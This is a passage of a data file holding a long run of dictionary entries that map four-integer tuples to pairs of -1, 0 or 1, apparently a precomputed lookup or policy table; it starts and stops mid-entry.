-5): (0, 1), (7, 29, -3, -4): (0, 1), (7, 29, -3, -3): (0, 1), (7, 29, -3, -2): (0, 1), (7, 29, -3, -1): (0, 1), (7, 29, -3, 0): (-1, 1), (7, 29, -3, 1): (-1, 1), (7, 29, -3, 2): (0, 1), (7, 29, -3, 3): (0, 0), (7, 29, -3, 4): (-1, -1), (7, 29, -3, 5): (0, 1), (7, 29, -2, -5): (0, 1), (7, 29, -2, -4): (0, 1), (7, 29, -2, -3): (0, 1), (7, 29, -2, -2): (0, 1), (7, 29, -2, -1): (0, 1), (7, 29, -2, 0): (1, 1), (7, 29, -2, 1): (1, 1), (7, 29, -2, 2): (-1, 1), (7, 29, -2, 3): (-1, 0), (7, 29, -2, 4): (-1, -1), (7, 29, -2, 5): (-1, 1), (7, 29, -1, -5): (-1, 1), (7, 29, -1, -4): (-1, 1), (7, 29, -1, -3): (-1, 1), (7, 29, -1, -2): (-1, 1), (7, 29, -1, -1): (1, 1), (7, 29, -1, 0): (0, 1), (7, 29, -1, 1): (0, 1), (7, 29, -1, 2): (-1, 1), (7, 29, -1, 3): (-1, 0), (7, 29, -1, 4): (-1, -1), (7, 29, -1, 5): (-1, 1), (7, 29, 0, -5): (1, 1), (7, 29, 0, -4): (1, 1), (7, 29, 0, -3): (1, 1), (7, 29, 0, -2): (1, 1), (7, 29, 0, -1): (0, 1), (7, 29, 0, 0): (-1, 1), (7, 29, 0, 1): (-1, 1), (7, 29, 0, 2): (-1, 0), (7, 29, 0, 3): (-1, -1), (7, 29, 0, 4): (-1, -1), (7, 29, 0, 5): (-1, 1), (7, 29, 1, -5): (1, 1), (7, 29, 1, -4): (1, 1), (7, 29, 1, -3): (1, 1), (7, 29, 1, -2): (1, 1), (7, 29, 1, -1): (-1, 1), (7, 29, 1, 0): (-1, 1), (7, 29, 1, 1): (-1, 0), (7, 29, 1, 2): (-1, -1), (7, 29, 1, 3): (-1, -1), (7, 29, 1, 4): (-1, -1), (7, 29, 1, 5): (-1, 1), (7, 29, 2, -5): (1, 1), (7, 29, 2, -4): (1, 1), (7, 29, 2, -3): (1, 1), (7, 29, 2, -2): (1, 1), (7, 29, 2, -1): (1, 1), (7, 29, 2, 0): (1, 0), (7, 29, 2, 1): (1, -1), (7, 29, 2, 2): (1, 1), (7, 29, 2, 3): (1, 0), (7, 29, 2, 4): (1, 0), (7, 29, 2, 5): (1, 0), (7, 29, 3, -5): (0, 1), (7, 29, 3, -4): (0, 1), (7, 29, 3, -3): (0, 1), (7, 29, 3, -2): (0, 1), (7, 29, 3, -1): (0, 1), (7, 29, 3, 0): (0, 0), (7, 29, 3, 1): (0, -1), (7, 29, 3, 2): (0, 1), (7, 29, 3, 3): (0, 1), (7, 29, 3, 4): (0, 1), (7, 29, 3, 5): (0, 1), (7, 29, 4, -5): (0, 1), (7, 29, 4, -4): (0, 1), (7, 29, 4, -3): (0, 1), (7, 29, 4, -2): (0, 1), (7, 29, 4, -1): (0, 1), (7, 29, 4, 0): (0, 0), (7, 29, 4, 1): (-1, -1), (7, 29, 4, 2): (0, 1), (7, 29, 4, 3): (0, 1), (7, 29, 4, 4): (0, 1), (7, 29, 4, 5): (0, 1), (7, 29, 5, -5): (0, 1), (7, 29, 5, -4): (0, 1), (7, 29, 5, -3): (0, 1), (7, 29, 5, -2): (0, 1), (7, 29, 5, -1): (0, 1), (7, 29, 5, 0): (0, 0), (7, 29, 5, 1): (-1, -1), (7, 29, 5, 2): (0, 1), (7, 29, 5, 3): (0, 1), (7, 29, 5, 4): (0, 1), (7, 29, 5, 5): (0, 1), (7, 30, -5, -5): (0, 1), (7, 30, -5, -4): (0, 1), (7, 30, -5, -3): (0, 1), (7, 30, -5, -2): (0, 1), (7, 30, -5, -1): (0, 1), (7, 30, -5, 0): (0, 1), (7, 30, -5, 1): (0, 1), (7, 30, -5, 2): (0, 0), (7, 30, -5, 3): (-1, -1), (7, 30, -5, 4): (-1, -1), (7, 30, -5, 5): (0, 1), (7, 30, -4, -5): (0, 1), (7, 30, -4, -4): (0, 1), (7, 30, -4, -3): (0, 1), (7, 30, -4, -2): (-1, 1), (7, 30, -4, -1): (-1, 1), (7, 30, -4, 0): (-1, 1), (7, 30, -4, 1): (0, 1), (7, 30, -4, 2): (0, 0), (7, 30, -4, 3): (-1, -1), (7, 30, -4, 4): (-1, -1), (7, 30, -4, 5): (0, 1), (7, 30, -3, -5): (0, 1), (7, 30, -3, -4): (0, 1), (7, 30, -3, -3): (0, 1), (7, 30, -3, -2): (0, 1), (7, 30, -3, -1): (-1, 1), (7, 30, -3, 0): (-1, 1), (7, 30, -3, 1): (0, 1), (7, 30, -3, 2): (0, 0), (7, 30, -3, 3): (-1, -1), (7, 30, -3, 4): (-1, -1), (7, 30, -3, 5): (0, 1), (7, 30, -2, -5): (0, 1), (7, 30, -2, -4): (0, 1), (7, 30, -2, -3): (0, 1), (7, 30, -2, -2): (0, 1), (7, 30, -2, -1): (1, 1), (7, 30, -2, 0): (1, 1), (7, 30, -2, 1): (-1, 1), (7, 30, -2, 2): (-1, 0), (7, 30, -2, 3): (-1, -1), (7, 30, -2, 4): (-1, -1), (7, 30, -2, 5): (-1, 1), (7, 30, -1, -5): (-1, 1), (7, 30, -1, -4): (-1, 1), (7, 30, -1, -3): (-1, 1), (7, 30, -1, -2): (-1, 1), (7, 30, -1, -1): (1, 1), (7, 30, -1, 0): (0, 1), (7, 30, -1, 1): (-1, 1), (7, 30, -1, 2): (-1, 0), (7, 30, -1, 3): (-1, -1), (7, 30, -1, 4): (-1, 1), (7, 30, -1, 5): (-1, 1), (7, 30, 0, -5): (1, 1), (7, 30, 0, -4): (1, 1), (7, 30, 0, -3): (1, 1), (7, 30, 0, -2): (0, 1), (7, 30, 0, -1): (0, 1), (7, 30, 0, 0): (-1, 1), (7, 30, 0, 1): (-1, 0), (7, 30, 0, 2): (-1, -1), (7, 30, 0, 3): (-1, -1), (7, 30, 0, 4): (-1, -1), (7, 30, 0, 5): (-1, 1), (7, 30, 1, -5): (1, 1), (7, 30, 1, -4): (1, 1), (7, 30, 1, -3): (1, 1), (7, 30, 1, -2): (-1, 1), (7, 30, 1, -1): (-1, 1), (7, 30, 1, 0): (-1, 1), (7, 30, 1, 1): (-1, 0), (7, 30, 1, 2): (-1, -1), (7, 30, 1, 3): (-1, -1), (7, 30, 1, 4): (-1, 1), (7, 30, 1, 5): (-1, 1), (7, 30, 2, -5): (1, 1), (7, 30, 2, -4): (1, 1), (7, 30, 2, -3): (1, 1), (7, 30, 2, -2): (1, 1), (7, 30, 2, -1): (1, 0), (7, 30, 2, 0): (1, -1), (7, 30, 2, 1): (1, 1), (7, 30, 2, 2): (1, 0), (7, 30, 2, 3): (1, 0), (7, 30, 2, 4): (1, 0), (7, 30, 2, 5): (1, 0), (7, 30, 3, -5): (0, 1), (7, 30, 3, -4): (0, 1), (7, 30, 3, -3): (0, 1), (7, 30, 3, -2): (0, 1), (7, 30, 3, -1): (0, 0), (7, 30, 3, 0): (0, -1), (7, 30, 3, 1): (0, 1), (7, 30, 3, 2): (0, 1), (7, 30, 3, 3): (0, 1), (7, 30, 3, 4): (0, 1), (7, 30, 3, 5): (0, 1), (7, 30, 4, -5): (0, 1), (7, 30, 4, -4): (0, 1), (7, 30, 4, -3): (0, 1), (7, 30, 4, -2): (0, 1), (7, 30, 4, -1): (0, 0), (7, 30, 4, 0): (-1, -1), (7, 30, 4, 1): (0, 1), (7, 30, 4, 2): (0, 1), (7, 30, 4, 3): (0, 1), (7, 30, 4, 4): (0, 1), (7, 30, 4, 5): (0, 1), (7, 30, 5, -5): (0, 1), (7, 30, 5, -4): (0, 1), (7, 30, 5, -3): (0, 1), (7, 30, 5, -2): (0, 1), (7, 30, 5, -1): (0, 0), (7, 30, 5, 0): (-1, -1), (7, 30, 5, 1): (0, 1), (7, 30, 5, 2): (0, 1), (7, 30, 5, 3): (0, 1), (7, 30, 5, 4): (0, 1), (7, 30, 5, 5): (0, 1), (7, 31, -5, -5): (0, 1), (7, 31, -5, -4): (0, 1), (7, 31, -5, -3): (0, 1), (7, 31, -5, -2): (0, 1), (7, 31, -5, -1): (0, 1), (7, 31, -5, 0): (0, 1), (7, 31, -5, 1): (0, 1), (7, 31, -5, 2): (0, 0), (7, 31, -5, 3): (-1, -1), (7, 31, -5, 4): (0, 1), (7, 31, -5, 5): (0, 1), (7, 31, -4, -5): (0, 1), (7, 31, -4, -4): (0, 1), (7, 31, -4, -3): (-1, 1), (7, 31, -4, -2): (-1, 1), (7, 31, -4, -1): (-1, 1), (7, 31, -4, 0): (0, 1), (7, 31, -4, 1): (0, 1), (7, 31, -4, 2): (0, 0), (7, 31, -4, 3): (-1, -1), (7, 31, -4, 4): (-1, 1), (7, 31, -4, 5): (-1, 1), (7, 31, -3, -5): (0, 1), (7, 31, -3, -4): (0, 1), (7, 31, -3, -3): (0, 1), (7, 31, -3, -2): (-1, 1), (7, 31, -3, -1): (-1, 1), (7, 31, -3, 0): (0, 1), (7, 31, -3, 1): (0, 1), (7, 31, -3, 2): (0, 0), (7, 31, -3, 3): (-1, -1), (7, 31, -3, 4): (0, 0), (7, 31, -3, 5): (-1, -1), (7, 31, -2, -5): (0, 1), (7, 31, -2, -4): (0, 1), (7, 31, -2, -3): (0, 1), (7, 31, -2, -2): (0, 1), (7, 31, -2, -1): (-1, 1), (7, 31, -2, 0): (-1, 1), (7, 31, -2, 1): (-1, 1), (7, 31, -2, 2): (-1, 0), (7, 31, -2, 3): (-1, -1), (7, 31, -2, 4): (-1, 0), (7, 31, -2, 5): (-1, -1), (7, 31, -1, -5): (-1, 1), (7, 31, -1, -4): (-1, 1), (7, 31, -1, -3): (-1, 1), (7, 31, -1, -2): (-1, 1), (7, 31, -1, -1): (0, 1), (7, 31, -1, 0): (-1, 1), (7, 31, -1, 1): (-1, 0), (7, 31, -1, 2): (-1, -1), (7, 31, -1, 3): (-1, -1), (7, 31, -1, 4): (-1, 0), (7, 31, -1, 5): (-1, -1), (7, 31, 0, -5): (1, 1), (7, 31, 0, -4): (1, 1), (7, 31, 0, -3): (1, 1), (7, 31, 0, -2): (0, 1), (7, 31, 0, -1): (-1, 1), (7, 31, 0, 0): (-1, 1), (7, 31, 0, 1): (-1, 0), (7, 31, 0, 2): (-1, -1), (7, 31, 0, 3): (-1, -1), (7, 31, 0, 4): (-1, 1), (7, 31, 0, 5): (-1, 1), (7, 31, 1, -5): (1, 1), (7, 31, 1, -4): (1, 1), (7, 31, 1, -3): (1, 1), (7, 31, 1, -2): (-1, 1), (7, 31, 1, -1): (-1, 1), (7, 31, 1, 0): (-1, 1), (7, 31, 1, 1): (-1, 0), (7, 31, 1, 2): (-1, -1), (7, 31, 1, 3): (-1, -1), (7, 31, 1, 4): (-1, 1), (7, 31, 1, 5): (-1, 1), (7, 31, 2, -5): (1, 1), (7, 31, 2, -4): (1, 1), (7, 31, 2, -3): (1, 1), (7, 31, 2, -2): (1, 0), (7, 31, 2, -1): (1, -1), (7, 31, 2, 0): (1, 1), (7, 31, 2, 1): (1, 0), (7, 31, 2, 2): (1, 0), (7, 31, 2, 3): (1, 0), (7, 31, 2, 4): (-1, 1), (7, 31, 2, 5): (-1, 1), (7, 31, 3, -5): (0, 1), (7, 31, 3, -4): (0, 1), (7, 31, 3, -3): (0, 1), (7, 31, 3, -2): (0, 0), (7, 31, 3, -1): (0, -1), (7, 31, 3, 0): (0, 1), (7, 31, 3, 1): (0, 1), (7, 31, 3, 2): (0, 1), (7, 31, 3, 3): (0, 1), (7, 31, 3, 4): (0, 1), (7, 31, 3, 5): (0, 1), (7, 31, 4, -5): (0, 1), (7, 31, 4, -4): (0, 1), (7, 31, 4, -3): (0, 1), (7, 31, 4, -2): (0, 0), (7, 31, 4, -1): (-1, -1), (7, 31, 4, 0): (0, 1), (7, 31, 4, 1): (0, 1), (7, 31, 4, 2): (0, 1), (7, 31, 4, 3): (0, 1), (7, 31, 4, 4): (0, 1), (7, 31, 4, 5): (0, 1), (7, 31, 5, -5): (0, 1), (7, 31, 5, -4): (0, 1), (7, 31, 5, -3): (0, 1), (7, 31, 5, -2): (0, 0), (7, 31, 5, -1): (-1, -1), (7, 31, 5, 0): (0, 1), (7, 31, 5, 1): (0, 1), (7, 31, 5, 2): (0, 1), (7, 31, 5, 3): (0, 1), (7, 31, 5, 4): (0, 1), (7, 31, 5, 5): (0, 1), (7, 32, -5, -5): (0, 1), (7, 32, -5, -4): (0, 1), (7, 32, -5, -3): (0, 1), (7, 32, -5, -2): (0, 1), (7, 32, -5, -1): (0, 1), (7, 32, -5, 0): (0, 1), (7, 32, -5, 1): (0, 0), (7, 32, -5, 2): (-1, -1), (7, 32, -5, 3): (0, 1), (7, 32, -5, 4): (0, 1), (7, 32, -5, 5): (0, 1), (7, 32, -4, -5): (0, 1), (7, 32, -4, -4): (-1, 1), (7, 32, -4, -3): (-1, 1), (7, 32, -4, -2): (-1, 1), (7, 32, -4, -1): (0, 1), (7, 32, -4, 0): (0, 1), (7, 32, -4, 1): (0, 0), (7, 32, -4, 2): (-1, -1), (7, 32, -4, 3): (-1, 1), (7, 32, -4, 4): (-1, 1), (7, 32, -4, 5): (-1, 1), (7, 32, -3, -5): (0, 1), (7, 32, -3, -4): (0, 1), (7, 32, -3, -3): (-1, 1), (7, 32, -3, -2): (-1, 1), (7, 32, -3, -1): (0, 1), (7, 32, -3, 0): (0, 1), (7, 32, -3, 1): (0, 0), (7, 32, -3, 2): (-1, -1), (7, 32, -3, 3): (-1, -1), (7, 32, -3, 4): (-1, -1), (7, 32, -3, 5): (-1, 1), (7, 32, -2, -5): (0, 1), (7, 32, -2, -4): (0, 1), (7, 32, -2, -3): (0, 1), (7, 32, -2, -2): (-1, 1), (7, 32, -2, -1): (-1, 1), (7, 32, -2, 0): (-1, 1), (7, 32, -2, 1): (-1, 0), (7, 32, -2, 2): (-1, -1), (7, 32, -2, 3): (-1, -1), (7, 32, -2, 4): (-1, -1), (7, 32, -2, 5): (-1, 1), (7, 32, -1, -5): (-1, 1), (7, 32, -1, -4): (-1, 1), (7, 32, -1, -3): (-1, 1), (7, 32, -1, -2): (-1, 1), (7, 32, -1, -1): (-1, 1), (7, 32, -1, 0): (-1, 1), (7, 32, -1, 1): (-1, 0), (7, 32, -1, 2): (-1, -1), (7, 32, -1, 3): (-1, 0), (7, 32, -1, 4): (-1, -1), (7, 32, -1, 5): (-1, 1), (7, 32, 0, -5): (1, 1), (7, 32, 0, -4): (1, 1), (7, 32, 0, -3): (1, 1), (7, 32, 0, -2): (-1, 1), (7, 32, 0, -1): (-1, 1), (7, 32, 0, 0): (-1, 0), (7, 32, 0, 1): (-1, -1), (7, 32, 0, 2): (-1, -1), (7, 32, 0, 3): (-1, -1), (7, 32, 0, 4): (-1, 1), (7, 32, 0, 5): (-1, 1), (7, 32, 1, -5): (1, 1), (7, 32, 1, -4): (1, 1), (7, 32, 1, -3): (1, 1), (7, 32, 1, -2): (-1, 1), (7, 32, 1, -1): (-1, 1), (7, 32, 1, 0): (-1, 1), (7, 32, 1, 1): (-1, 0), (7, 32, 1, 2): (-1, -1), (7, 32, 1, 3): (-1, 1), (7, 32, 1, 4): (-1, 1), (7, 32, 1, 5): (-1, 1), (7, 32, 2, -5): (1, 1), (7, 32, 2, -4): (1, 1), (7, 32, 2, -3): (1, 0), (7, 32, 2, -2): (1, -1), (7, 32, 2, -1): (1, 1), (7, 32, 2, 0): (1, 0), (7, 32, 2, 1): (1, 0), (7, 32, 2, 2): (1, 0), (7, 32, 2, 3): (-1, 1), (7, 32, 2, 4): (-1, 1), (7, 32, 2, 5): (-1, 1), (7, 32, 3, -5): (0, 1), (7, 32, 3, -4): (0, 1), (7, 32, 3, -3): (0, 0), (7, 32, 3, -2): (0, -1), (7, 32, 3, -1): (0, 1), (7, 32, 3, 0): (0, 1), (7, 32, 3, 1): (0, 1), (7, 32, 3, 2): (0, 1), (7, 32, 3, 3): (0, 1), (7, 32, 3, 4): (0, 1), (7, 32, 3, 5): (0, 1), (7, 32, 4, -5): (0, 1), (7, 32, 4, -4): (0, 1), (7, 32, 4, -3): (0, 0), (7, 32, 4, -2): (-1, -1), (7, 32, 4, -1): (0, 1), (7, 32, 4, 0): (0, 1), (7, 32, 4, 1): (0, 1), (7, 32, 4, 2): (0, 1), (7, 32, 4, 3): (0, 1), (7, 32, 4, 4): (0, 1), (7, 32, 4, 5): (0, 1), (7, 32, 5, -5): (0, 1), (7, 32, 5, -4): (0, 1), (7, 32, 5, -3): (0, 0), (7, 32, 5, -2): (-1, -1), (7, 32, 5, -1): (0, 1), (7, 32, 5, 0): (0, 1), (7, 32, 5, 1): (0, 1), (7, 32, 5, 2): (0, 1), (7, 32, 5, 3): (0, 1), (7, 32, 5, 4): (0, 1), (7, 32, 5, 5): (0, 1), (7, 33, -5, -5): (0, 1), (7, 33, -5, -4): (0, 1), (7, 33, -5, -3): (0, 1), (7, 33, -5, -2): (0, 1), (7, 33, -5, -1): (0, 1), (7, 33, -5, 0): (0, 1), (7, 33, -5, 1): (0, 0), (7, 33, -5, 2): (-1, -1), (7, 33, -5, 3): (0, 1), (7, 33, -5, 4): (0, 1), (7, 33, -5, 5): (0, 1), (7, 33, -4, -5): (-1, 1), (7, 33, -4, -4): (-1, 1), (7, 33, -4, -3): (-1, 1), (7, 33, -4, -2): (0, 1), (7, 33, -4, -1): (0, 1), (7, 33, -4, 0): (0, 1), (7, 33, -4, 1): (0, 0), (7, 33, -4, 2): (-1, -1), (7, 33, -4, 3): (-1, 1), (7, 33, -4, 4): (-1, 1), (7, 33, -4, 5): (-1, 1), (7, 33, -3, -5): (0, 1), (7, 33, -3, -4): (-1, 1), (7, 33, -3, -3): (-1, 1), (7, 33, -3, -2): (0, 1), (7, 33, -3, -1): (0, 1), (7, 33, -3, 0): (0, 1), (7, 33, -3, 1): (0, 0), (7, 33, -3, 2): (-1, -1), (7, 33, -3, 3): (-1, -1), (7, 33, -3, 4): (-1, 1), (7, 33, -3, 5): (-1, 1), (7, 33, -2, -5): (0, 1), (7, 33, -2, -4): (0, 1), (7, 33, -2, -3): (-1, 1), (7, 33, -2, -2): (-1, 1), (7, 33, -2, -1): (-1, 1), (7, 33, -2, 0): (-1, 1), (7, 33, -2, 1): (-1, 0), (7, 33, -2, 2): (-1, -1), (7, 33, -2, 3): (-1, -1), (7, 33, -2, 4): (-1, 1), (7, 33, -2, 5): (-1, 1), (7, 33, -1, -5): (-1, 1), (7, 33, -1, -4): (-1, 1), (7, 33, -1, -3): (-1, 1), (7, 33, -1, -2): (-1, 1), (7, 33, -1, -1): (-1, 1), (7, 33, -1, 0): (-1, 0), (7, 33, -1, 1): (-1, -1), (7, 33, -1, 2): (-1, -1), (7, 33, -1, 3): (-1, -1), (7, 33, -1, 4): (-1, 1), (7, 33, -1, 5): (-1, 1), (7, 33, 0, -5): (1, 1), (7, 33, 0, -4): (1, 1), (7, 33, 0, -3): (1, 1), (7, 33, 0, -2): (-1, 1), (7, 33, 0, -1): (-1, 1), (7, 33, 0, 0): (-1, 0), (7, 33, 0, 1): (-1, -1), (7, 33, 0, 2): (-1, -1), (7, 33, 0, 3): (-1, 1), (7, 33, 0, 4): (-1, 1), (7, 33, 0, 5): (-1, 1), (7, 33, 1, -5): (1, 1), (7, 33, 1, -4): (1, 1), (7, 33, 1, -3): (1, 1), (7, 33, 1, -2): (-1, 1), (7, 33, 1, -1): (-1, 1), (7, 33, 1, 0): (-1, 1), (7, 33, 1, 1): (-1, 0), (7, 33, 1, 2): (-1, 1), (7, 33, 1, 3): (-1, 1), (7, 33, 1, 4): (-1, 1), (7, 33, 1, 5): (-1, 1), (7, 33, 2, -5): (1, 1), (7, 33, 2, -4): (1, 0), (7, 33, 2, -3): (1, -1), (7, 33, 2, -2): (1, 1), (7, 33, 2, -1): (1, 0), (7, 33, 2, 0): (1, 0), (7, 33, 2, 1): (1, 0), (7, 33, 2, 2): (-1, 1), (7, 33, 2, 3): (-1, 1), (7, 33, 2, 4): (-1, 1), (7, 33, 2, 5): (-1, 1), (7, 33, 3, -5): (0, 1), (7, 33, 3, -4): (0, 0), (7, 33, 3, -3): (0, -1), (7, 33, 3, -2): (0, 1), (7, 33, 3, -1): (0, 1), (7, 33, 3, 0): (0, 1), (7, 33, 3, 1): (0, 1), (7, 33, 3, 2): (0, 1), (7, 33, 3, 3): (0, 1), (7, 33, 3, 4): (0, 1), (7, 33, 3, 5): (0, 1), (7, 33, 4, -5): (0, 1), (7, 33, 4, -4): (0, 0), (7, 33, 4, -3): (-1, -1), (7, 33, 4, -2): (0, 1), (7, 33, 4, -1): (0, 1), (7, 33, 4, 0): (0, 1), (7, 33, 4, 1): (0, 1), (7, 33, 4, 2): (0, 1), (7, 33, 4, 3): (0, 1), (7, 33, 4, 4): (0, 1), (7, 33, 4, 5): (0, 1), (7, 33, 5, -5): (0, 1), (7, 33, 5, -4): (0, 0), (7, 33, 5, -3): (-1, -1), (7, 33, 5, -2): (0, 1), (7, 33, 5, -1): (0, 1), (7, 33, 5, 0): (0, 1), (7, 33, 5, 1): (0, 1), (7, 33, 5, 2): (0, 1), (7, 33, 5, 3): (0, 1), (7, 33, 5, 4): (0, 1), (7, 33, 5, 5): (0, 1), (7, 34, -5, -5): (0, 1), (7, 34, -5, -4): (0, 1), (7, 34, -5, -3): (0, 0), (7, 34, -5, -2): (0, 1), (7, 34, -5, -1): (0, 1), (7, 34, -5, 0): (0, 0), (7, 34, -5, 1): (-1, -1), (7, 34, -5, 2): (0, 1), (7, 34, -5, 3): (0, 1), (7, 34, -5, 4): (0, 1), (7, 34, -5, 5): (0, 1), (7, 34, -4, -5): (-1, 1), (7, 34, -4, -4): (-1, 1), (7, 34, -4, -3): (-1, 0), (7, 34, -4, -2): (0, 1), (7, 34, -4, -1): (0, 1), (7, 34, -4, 0): (0, 0), (7, 34, -4, 1): (-1, -1), (7, 34, -4, 2): (-1, 1), (7, 34, -4, 3): (-1, 1), (7, 34, -4, 4): (-1, 1), (7, 34, -4, 5): (-1, 1), (7, 34, -3, -5): (-1, 1), (7, 34, -3, -4): (-1, 1), (7, 34, -3, -3): (-1, 1), (7, 34, -3, -2): (0, 1), (7, 34, -3, -1): (0, 1), (7, 34, -3, 0): (0, 0), (7, 34, -3, 1): (-1, -1), (7, 34, -3, 2): (-1, -1), (7, 34, -3, 3): (-1, 1), (7, 34, -3, 4): (-1, 1), (7, 34, -3, 5): (-1, 1), (7, 34, -2, -5): (0, 1), (7, 34, -2, -4): (-1, 1), (7, 34, -2, -3): (0, 1), (7, 34, -2, -2): (-1, 1), (7, 34, -2, -1): (-1, 1), (7, 34, -2, 0): (-1, 0), (7, 34, -2, 1): (-1, -1), (7, 34, -2, 2): (-1, -1), (7, 34, -2, 3): (-1, 1), (7, 34, -2, 4): (-1, 1), (7, 34, -2, 5): (-1, 1), (7, 34, -1, -5): (-1, 1), (7, 34, -1, -4): (-1, 1), (7, 34, -1, -3): (-1, 1), (7, 34, -1, -2): (-1, 1), (7, 34, -1, -1): (-1, 1), (7, 34, -1, 0): (-1, 0), (7, 34, -1, 1): (-1, -1), (7, 34, -1, 2): (-1, -1), (7, 34, -1, 3): (-1, 1), (7, 34, -1, 4): (-1, 1), (7, 34, -1, 5): (-1, 1), (7, 34, 0, -5): (1, 1), (7, 34, 0, -4): (1, 1), (7, 34, 0, -3): (-1, 1), (7, 34, 0, -2): (-1, 1), (7, 34, 0, -1): (-1, 1), (7, 34, 0, 0): (-1, 0), (7, 34, 0, 1): (-1, -1), (7, 34, 0, 2): (-1, -1), (7, 34, 0, 3): (-1, 1), (7, 34, 0, 4): (-1, 1), (7, 34, 0, 5): (-1, 1), (7, 34, 1, -5): (1, 1), (7, 34, 1, -4): (1, 1), (7, 34, 1, -3): (-1, 1), (7, 34, 1, -2): (-1, 1), (7, 34, 1, -1): (-1, 1), (7, 34, 1, 0): (-1, 1), (7, 34, 1, 1): (-1, 1), (7, 34, 1, 2): (-1, 1), (7, 34, 1, 3): (-1, 1), (7, 34, 1, 4): (-1, 1), (7, 34, 1, 5): (-1, 1), (7, 34, 2, -5): (1, 0), (7, 34, 2, -4): (1, -1), (7, 34, 2, -3): (1, 1), (7, 34, 2, -2): (1, 0), (7, 34, 2, -1): (1, 0), (7, 34, 2, 0): (1, 0), (7, 34, 2, 1): (-1, 1), (7, 34, 2, 2): (-1, 1), (7, 34, 2, 3): (-1, 1), (7, 34, 2, 4): (-1, 1), (7, 34, 2, 5): (-1, 1), (7, 34, 3, -5): (0, 0), (7, 34, 3, -4): (0, -1), (7, 34, 3, -3): (0, 1), (7, 34, 3, -2): (0, 1), (7, 34, 3, -1): (0, 1), (7, 34, 3, 0): (0, 1), (7, 34, 3, 1): (0, 1), (7, 34, 3, 2): (0, 1), (7, 34, 3, 3): (0, 1), (7, 34, 3, 4): (0, 1), (7, 34, 3, 5): (0, 1), (7, 34, 4, -5): (0, 0), (7, 34, 4, -4): (-1, -1), (7, 34, 4, -3): (0, 1), (7, 34, 4, -2): (0, 1), (7, 34, 4, -1): (0, 1), (7, 34, 4, 0): (0, 1), (7, 34, 4, 1): (0, 1), (7, 34, 4, 2): (0, 1), (7, 34, 4, 3): (0, 1), (7, 34, 4, 4): (0, 1), (7, 34, 4, 5): (0, 1), (7, 34, 5, -5): (0, 0), (7, 34, 5, -4): (-1, -1), (7, 34, 5, -3): (0, 1), (7, 34, 5, -2): (0, 1), (7, 34, 5, -1): (0, 1), (7, 34, 5, 0): (0, 1), (7, 34, 5, 1): (0, 1), (7, 34, 5, 2): (0, 1), (7, 34, 5, 3): (0, 1), (7, 34, 5, 4): (0, 1), (7, 34, 5, 5): (0, 1), (7, 35, -5, -5): (0, 1), (7, 35, -5, -4): (0, 0), (7, 35, -5, -3): (0, 1), (7, 35, -5, -2): (0, 1), (7, 35, -5, -1): (0, 1), (7, 35, -5, 0): (0, 0), (7, 35, -5, 1): (-1, -1), (7, 35, -5, 2): (0, 1), (7, 35, -5, 3): (0, 1), (7, 35, -5, 4): (0, 1), (7, 35, -5, 5): (0, 1), (7, 35, -4, -5): (-1, 1), (7, 35, -4, -4): (-1, 0), (7, 35, -4, -3): (0, 1), (7, 35, -4, -2): (0, 1), (7, 35, -4, -1): (0, 1), (7, 35, -4, 0): (0, 0), (7, 35, -4, 1): (-1, -1), (7, 35, -4, 2): (-1, 1), (7, 35, -4, 3): (-1, 1), (7, 35, -4, 4): (-1, 1), (7, 35, -4, 5): (-1, 1), (7, 35, -3, -5): (-1, 1), (7, 35, -3, -4): (-1, 0), (7, 35, -3, -3): (0, 1), (7, 35, -3, -2): (0, 1), (7, 35, -3, -1): (0, 1), (7, 35, -3, 0): (0, 0), (7, 35, -3, 1): (-1, -1), (7, 35, -3, 2): (-1, 1), (7, 35, -3, 3): (-1, 1), (7, 35, -3, 4): (-1, 1), (7, 35, -3, 5): (-1, 1), (7, 35, -2, -5): (-1, 1), (7, 35, -2, -4): (-1, 0), (7, 35, -2, -3): (-1, 1), (7, 35, -2, -2): (-1, 1), (7, 35, -2, -1): (-1, 1), (7, 35, -2, 0): (-1, 0), (7, 35, -2, 1): (-1, -1), (7, 35, -2, 2): (-1, 1), (7, 35, -2, 3): (-1, 1), (7, 35, -2, 4): (-1, 1), (7, 35, -2, 5): (-1, 1), (7, 35, -1, -5): (-1, 1), (7, 35, -1, -4): (-1, 1), (7, 35, -1, -3): (-1, 1), (7, 35, -1, -2): (-1, 1), (7, 35, -1, -1): (-1, 1), (7, 35, -1, 0): (-1, 0), (7, 35, -1, 1): (-1, -1), (7, 35, -1, 2): (-1, 1), (7, 35, -1, 3): (-1, 1), (7, 35, -1, 4): (-1, 1), (7, 35, -1, 5): (-1, 1), (7, 35, 0, -5): (1, 1), (7, 35, 0, -4): (1, 1), (7, 35, 0, -3): (-1, 1), (7, 35, 0, -2): (-1, 1), (7, 35, 0, -1): (-1, 1), (7, 35, 0, 0): (-1, 0), (7, 35, 0, 1): (-1, -1), (7, 35, 0, 2): (-1, 1), (7, 35, 0, 3): (-1, 1), (7, 35, 0, 4): (-1, 1), (7, 35, 0, 5): (-1, 1), (7, 35, 1, -5): (1, 1), (7, 35, 1, -4): (1, 1), (7, 35, 1, -3): (-1, 1), (7, 35, 1, -2): (-1, 1), (7, 35, 1, -1): (-1, 1), (7, 35, 1, 0): (-1, 1), (7, 35, 1, 1): (-1, 1), (7, 35, 1, 2): (-1, 1), (7, 35, 1, 3): (-1, 1), (7, 35, 1, 4): (-1, 1), (7, 35, 1, 5): (-1, 1), (7, 35, 2, -5): (1, 0), (7, 35, 2, -4): (1, 1), (7, 35, 2, -3): (1, 0), (7, 35, 2, -2): (1, 0), (7, 35, 2, -1): (1, 0), (7, 35, 2, 0): (-1, 1), (7, 35, 2, 1): (-1, 1), (7, 35, 2, 2): (-1, 1), (7, 35, 2, 3): (-1, 1), (7, 35, 2, 4): (-1, 1), (7, 35, 2, 5): (-1, 1), (7, 35, 3, -5): (0, 0), (7, 35, 3, -4): (0, 1), (7, 35, 3, -3): (0, 1), (7, 35, 3, -2): (0, 1), (7, 35, 3, -1): (0, 1), (7, 35, 3, 0): (0, 1), (7, 35, 3, 1): (0, 1), (7, 35, 3, 2): (0, 1), (7, 35, 3, 3): (0, 1), (7, 35, 3, 4): (0, 1), (7, 35, 3, 5): (0, 1), (7, 35, 4, -5): (0, 0), (7, 35, 4, -4): (0, 1), (7, 35, 4, -3): (0, 1), (7, 35, 4, -2): (0, 1), (7, 35, 4, -1): (0, 1), (7, 35, 4, 0): (0, 1), (7, 35, 4, 1): (0, 1), (7, 35, 4, 2): (0, 1), (7, 35, 4, 3): (0, 1), (7, 35, 4, 4): (0, 1), (7, 35, 4, 5): (0, 1), (7, 